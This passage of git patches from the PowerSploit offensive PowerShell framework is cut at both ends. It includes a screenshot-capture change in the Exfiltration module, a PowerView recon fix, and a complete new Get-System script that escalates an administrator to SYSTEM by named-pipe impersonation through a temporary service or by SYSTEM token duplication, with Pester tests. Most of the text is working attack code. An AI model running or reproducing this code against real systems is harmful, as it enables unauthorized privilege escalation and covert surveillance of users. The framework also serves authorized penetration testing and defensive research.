Out-Null - $systemTokenInfo = $null + $CloseHandle.Invoke($SystemTokenInfo.hProcToken) | Out-Null + $SystemTokenInfo = $null } $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0} From be2a8ecf15ae467f36b5f3dea6b1b673d97d92a9 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Thu, 10 Mar 2016 18:00:43 -0800 Subject: [PATCH 112/296] Get-TimedScreenshot enhancement. Issue #114 Get-TimedScreenshot now captures the entire screen. The screen resolution is obtained via WMI. If for some reason that fails, it will fall back to the old, less ideal method. --- Exfiltration/Get-TimedScreenshot.ps1 | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/Exfiltration/Get-TimedScreenshot.ps1 b/Exfiltration/Get-TimedScreenshot.ps1 index e1ca823f..89eceb04 100644 --- a/Exfiltration/Get-TimedScreenshot.ps1 +++ b/Exfiltration/Get-TimedScreenshot.ps1 @@ -52,9 +52,25 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed #Define helper function that generates and saves screenshot Function Get-Screenshot { $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen - $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height + + $VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController' + + if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?^\d+) x (?\d+) x .*$') { + $Width = [Int] $Matches['ScreenWidth'] + $Height = [Int] $Matches['ScreenHeight'] + } else { + $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen + + $Width = $ScreenBounds.Width + $Height = $ScreenBounds.Height + } + + $Size = New-Object System.Drawing.Size($Width, $Height) + $Point = New-Object System.Drawing.Point(0, 0) + + $ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject) - $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size) + $DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size) $DrawingGraphics.Dispose() $ScreenshotObject.Save($FilePath) $ScreenshotObject.Dispose() From dee094a993642894d4542c6bc8c11864863e4536 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 11 Mar 2016 16:37:14 -0500 Subject: [PATCH 113/296] Additional error checking in Get-DFSshare --- Recon/PowerView.ps1 | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5823d181..5f9cc73a 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5394,15 +5394,16 @@ function Get-DFSshare { } } - $redirects = Parse-Pkt $pkt[0] - $redirects | ForEach-Object { - # If a folder doesn't have a redirection it will - # have a target like - # \\null\TestNameSpace\folder\.DFSFolderLink so we - # do actually want to match on "null" rather than - # $null - if ($_ -ne "null") { - New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + if($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will + # have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we + # do actually want to match on "null" rather than + # $null + if ($_ -ne "null") { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } } } } From 6a17f759ab1fe4c3cfdbfc33e362c362b4d47da1 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 11 Mar 2016 17:45:46 -0500 Subject: [PATCH 114/296] Added Get-System to Privesc/ Added Pester tests for Get-System --- Privesc/Get-System.ps1 | 590 ++++++++++++++++++++++++++++++++++++++++ Privesc/Privesc.psd1 | 7 +- Tests/Privesc.tests.ps1 | 42 +++ 3 files changed, 636 insertions(+), 3 deletions(-) create mode 100644 Privesc/Get-System.ps1 diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1 new file mode 100644 index 00000000..17f5c417 --- /dev/null +++ b/Privesc/Get-System.ps1 @@ -0,0 +1,590 @@ +function Get-System { +<# + .SYNOPSIS + + GetSystem functionality inspired by Meterpreter's getsystem. + 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create + a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. + NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure + token duplication works correctly. + + PowerSploit Function: Get-System + Author: @harmj0y, @mattifestation + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .PARAMETER Technique + + The technique to use, 'NamedPipe' or 'Token'. + + .PARAMETER ServiceName + + The name of the service used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER PipeName + + The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER RevToSelf + + Reverts the current thread privileges. + + .PARAMETER WhoAmI + + Switch. Display the credentials for the current PowerShell thread. + + .EXAMPLE + + PS> Get-System + + Uses named impersonate to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' + + Uses named impersonate to elevate the current thread token to SYSTEM + with a custom service and pipe name. + + .EXAMPLE + + PS> Get-System -Technique Token + + Uses token duplication to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -WhoAmI + + Displays the credentials for the current thread. + + .EXAMPLE + + PS> Get-System -RevToSelf + + Reverts the current thread privileges. + + .LINK + + https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c + https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ + http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ +#> + [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] + param( + [Parameter(ParameterSetName = "NamedPipe")] + [Parameter(ParameterSetName = "Token")] + [String] + [ValidateSet("NamedPipe", "Token")] + $Technique = 'NamedPipe', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $ServiceName = 'TestSVC', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $PipeName = 'TestSVC', + + [Parameter(ParameterSetName = "RevToSelf")] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = "WhoAmI")] + [Switch] + $WhoAmI + ) + + $ErrorActionPreference = "Stop" + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # performs named pipe impersonation to elevate to SYSTEM without needing + # SeDebugPrivilege + function Local:Get-SystemNamedPipe { + param( + [String] + $ServiceName = "TestSVC", + + [String] + $PipeName = "TestSVC" + ) + + $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" + + # create the named pipe used for impersonation and set appropriate permissions + $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + + $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() + + # Declare/setup all the needed API function + # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient + $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int]) + $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate) + + $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle + $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) + $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) + + $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA + $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) + $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) + + $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA + $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) + $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) + + $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA + $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) + $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) + + $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA + $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) + $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) + + $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService + $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) + $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) + + $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError + $GetLastErrorDelegate = Get-DelegateType @() ([Int]) + $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) + + # Step 1 - OpenSCManager() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + Write-Verbose "Opening service manager" + $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F) + Write-Verbose "Service manager handle: $ManagerHandle" + + # if we get a non-zero handle back, everything was successful + if ($ManagerHandle -and ($ManagerHandle -ne 0)) { + + # Step 2 - CreateService() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # 0x10 = SERVICE_WIN32_OWN_PROCESS + # 0x3 = SERVICE_DEMAND_START + # 0x1 = SERVICE_ERROR_NORMAL + Write-Verbose "Creating new service: '$ServiceName'" + try { + $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) + $err = $GetLastError.Invoke() + } + catch { + Write-Warning "Error creating service : $_" + $ServiceHandle = 0 + } + Write-Verbose "CreateServiceA Handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)) { + $Success = $True + Write-Verbose "Service successfully created" + + # Step 3 - CloseServiceHandle() for the service handle + Write-Verbose "Closing service handle" + $Null = $CloseServiceHandle.Invoke($ServiceHandle) + + # Step 4 - OpenService() + Write-Verbose "Opening the service '$ServiceName'" + $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) + Write-Verbose "OpenServiceA handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)){ + + # Step 5 - StartService() + Write-Verbose "Starting the service" + $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) + $err = $GetLastError.Invoke() + + # if we successfully started the service, let it breathe and then delete it + if ($val -ne 0){ + Write-Verbose "Service successfully started" + # breathe for a second + Start-Sleep -s 1 + } + else{ + if ($err -eq 1053){ + Write-Verbose "Command didn't respond to start" + } + else{ + Write-Warning "StartService failed, LastError: $err" + } + # breathe for a second + Start-Sleep -s 1 + } + + # start cleanup + # Step 6 - DeleteService() + Write-Verbose "Deleting the service '$ServiceName'" + $val = $DeleteService.invoke($ServiceHandle) + $err = $GetLastError.Invoke() + + if ($val -eq 0){ + Write-Warning "DeleteService failed, LastError: $err" + } + else{ + Write-Verbose "Service successfully deleted" + } + + # Step 7 - CloseServiceHandle() for the service handle + Write-Verbose "Closing the service handle" + $val = $CloseServiceHandle.Invoke($ServiceHandle) + Write-Verbose "Service handle closed off" + } + else { + Write-Warning "[!] OpenServiceA failed, LastError: $err" + } + } + + else { + Write-Warning "[!] CreateService failed, LastError: $err" + } + + # final cleanup - close off the manager handle + Write-Verbose "Closing the manager handle" + $Null = $CloseServiceHandle.Invoke($ManagerHandle) + } + else { + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + Write-Warning "[!] OpenSCManager failed, LastError: $err" + } + + if($Success) { + Write-Verbose "Waiting for pipe connection" + $Pipe.WaitForConnection() + + $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd() + + $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) + Write-Verbose "ImpersonateNamedPipeClient: $Out" + } + + # clocse off the named pipe + $Pipe.Dispose() + } + + # performs token duplication to elevate to SYSTEM + # needs SeDebugPrivilege + # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + Function Local:Get-SystemToken { + [CmdletBinding()] param() + + $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv') + $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False) + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType]) + $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null + $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType() + + $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType]) + $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LuidStruct = $LuidTypeBuilder.CreateType() + + $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType]) + $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null + $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType() + + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType]) + $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public') + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1)) + $PrivilegesField.SetCustomAttribute($AttribBuilder) + $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() + + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'advapi32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'kernel32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType]) + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcess', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [IntPtr], + @([UInt32], [Bool], [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'CloseHandle', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'DuplicateToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Int32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'SetThreadToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcessToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'LookupPrivilegeValue', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([String], [String], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'AdjustTokenPrivileges', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32Methods = $Win32TypeBuilder.CreateType() + + $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'} + $GetCurrentProcess = $Win32Native.GetMethod( + 'GetCurrentProcess', + [Reflection.BindingFlags] 'NonPublic, Static' + ) + + $SE_PRIVILEGE_ENABLED = 0x00000002 + $STANDARD_RIGHTS_REQUIRED = 0x000F0000 + $STANDARD_RIGHTS_READ = 0x00020000 + $TOKEN_ASSIGN_PRIMARY = 0x00000001 + $TOKEN_DUPLICATE = 0x00000002 + $TOKEN_IMPERSONATE = 0x00000004 + $TOKEN_QUERY = 0x00000008 + $TOKEN_QUERY_SOURCE = 0x00000010 + $TOKEN_ADJUST_PRIVILEGES = 0x00000020 + $TOKEN_ADJUST_GROUPS = 0x00000040 + $TOKEN_ADJUST_DEFAULT = 0x00000080 + $TOKEN_ADJUST_SESSIONID = 0x00000100 + $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY + $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor + $TOKEN_ASSIGN_PRIMARY -bor + $TOKEN_DUPLICATE -bor + $TOKEN_IMPERSONATE -bor + $TOKEN_QUERY -bor + $TOKEN_QUERY_SOURCE -bor + $TOKEN_ADJUST_PRIVILEGES -bor + $TOKEN_ADJUST_GROUPS -bor + $TOKEN_ADJUST_DEFAULT -bor + $TOKEN_ADJUST_SESSIONID + + [long]$Luid = 0 + + $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) + $tokPriv1Luid.Count = 1 + $tokPriv1Luid.Luid = $Luid + $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED + + $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) + + $htoken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) + + $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) + $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) + + if(-not($RetVal)) { + Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop + } + + $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value + + $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { + try { + $OwnerInfo = $_.GetOwner() + if ($OwnerInfo.Domain -and $OwnerInfo.User) { + $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() + + if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { + $Process = Get-Process -Id $_.ProcessId + + $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) + if ($Handle) { + $Handle + } + } + } + } + catch {} + } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1 + + if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { + Write-Error 'Unable to obtain a handle to a system process.' + } + else { + [IntPtr]$SystemToken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "OpenProcessToken result: $RetVal" + Write-Verbose "OpenProcessToken result: $LastError" + + [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero + $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "DuplicateToken result: $LastError" + + $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + if(-not($RetVal)) { + Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop + } + + Write-Verbose "SetThreadToken result: $LastError" + $null = $Win32Methods::CloseHandle($Handle) + } + } + + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { + Write-Error "Script must be run as administrator" -ErrorAction Stop + } + + if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { + Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop + } + + if($PSBoundParameters['WhoAmI']) { + Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + return + } + + elseif($PSBoundParameters['RevToSelf']) { + $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf + $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) + $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + + $RetVal = $RevertToSelf.Invoke() + if($RetVal) { + Write-Output "RevertToSelf successful." + } + else { + Write-Warning "RevertToSelf failed." + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + + else { + if($Technique -eq 'NamedPipe') { + # if we're using named pipe impersonation with a service + Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName + } + else { + # otherwise use token duplication + Get-SystemToken + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } +} diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index 9777f2ac..d3d9a978 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -22,7 +22,7 @@ Description = 'PowerSploit Privesc Module' PowerShellVersion = '2.0' # Functions to export from this module -FunctionsToExport = @( +FunctionsToExport = @( 'Find-DLLHijack', 'Find-PathHijack', 'Get-ApplicationHost', @@ -43,11 +43,12 @@ FunctionsToExport = @( 'Write-HijackDll', 'Write-ServiceBinary', 'Write-UserAddMSI', - 'Get-SiteListPassword' + 'Get-SiteListPassword', + 'Get-System' ) # List of all files packaged with this module -FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md' +FileList = 'Privesc.psm1', 'Get-SiteListPassword.ps1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md' } diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 296829fb..999d712e 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -787,3 +787,45 @@ Describe 'Get-SiteListPassword' { } } } + + +Describe 'Get-System' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-System' Pester test needs local administrator privileges." + } + + AfterEach { + Get-System -RevToSelf + } + + It 'Should not throw with default parameters and should elevate to SYSTEM.' { + { Get-System } | Should Not Throw + "$([Environment]::UserName)" | Should Be 'SYSTEM' + } + + It 'Named pipe impersonation should accept an alternate service and pipe name.' { + { Get-System -Technique NamedPipe -ServiceName 'testing123' -PipeName 'testpipe' } | Should Not Throw + "$([Environment]::UserName)" | Should Be 'SYSTEM' + } + + It 'Should elevate to SYSTEM using token impersonation.' { + { Get-System -Technique Token } | Should Not Throw + "$([Environment]::UserName)" | Should Be 'SYSTEM' + } + + It '-WhoAmI should display the current user.' { + { Get-System -Technique Token } | Should Not Throw + { Get-System -WhoAmI } | Should Match 'SYSTEM' + } + + It 'RevToSelf should revert privileges.' { + { Get-System -Technique Token } | Should Not Throw + { Get-System -RevToSelf } | Should Not Throw + "$([Environment]::UserName)" | Should Not Match 'SYSTEM' + } + + It 'Token impersonation should throw with incompatible parameters.' { + { Get-System -Technique Token -WhoAmI } | Should Throw + } +} From 13adf516d52c43c8cb08d376b449d7ca883c8929 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 15 Mar 2016 15:13:02 -0400 Subject: [PATCH 115/296] Moved admin check for Get-System to allow for RevToSelf --- Privesc/Get-System.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1 index 17f5c417..32d43999 100644 --- a/Privesc/Get-System.ps1 +++ b/Privesc/Get-System.ps1 @@ -548,10 +548,6 @@ function Get-System { } } - if (-not 